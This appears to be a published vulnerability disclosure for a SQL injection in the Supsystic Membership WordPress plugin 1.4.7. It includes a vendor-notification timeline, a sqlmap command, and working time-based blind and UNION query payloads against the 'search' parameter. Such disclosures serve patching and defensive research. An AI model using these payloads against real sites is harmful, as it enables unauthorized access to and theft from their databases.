WordPress Plugin Supsystic Membership 1.4.7 – ‘sidx’ SQL injection
# Exploit Title: WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection # Date: 09/08/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/membership-by-supsystic.1.4.7.zip # Version: 1.4.7 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 22/12 2020: Vulnerability fixed # 1. Description The GET parameters "search" and "sidx" does not sanitize user input when searching for badges. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for data and save it to request.txt Referer: http://192.168.0.63/wp-admin/admin.php?page=supsystic-membership&module=badges&action=index sqlmap -r request.txt --dbms=mysql -p search Parameter: search (GET) Type: time-based blind Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' AND (SELECT 8958 FROM (SELECT(SLEEP(5)))oBIL) AND 'trjK'='trjK&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc Type: UNION query Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' UNION ALL SELECT NULL,CONCAT(0x71786a6b71,0x6569796370704c625352574e6e424874456a74457847635473525a466d47576f775a46446b4e7055,0x716a7a6a71),NULL,NULL-- -&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc |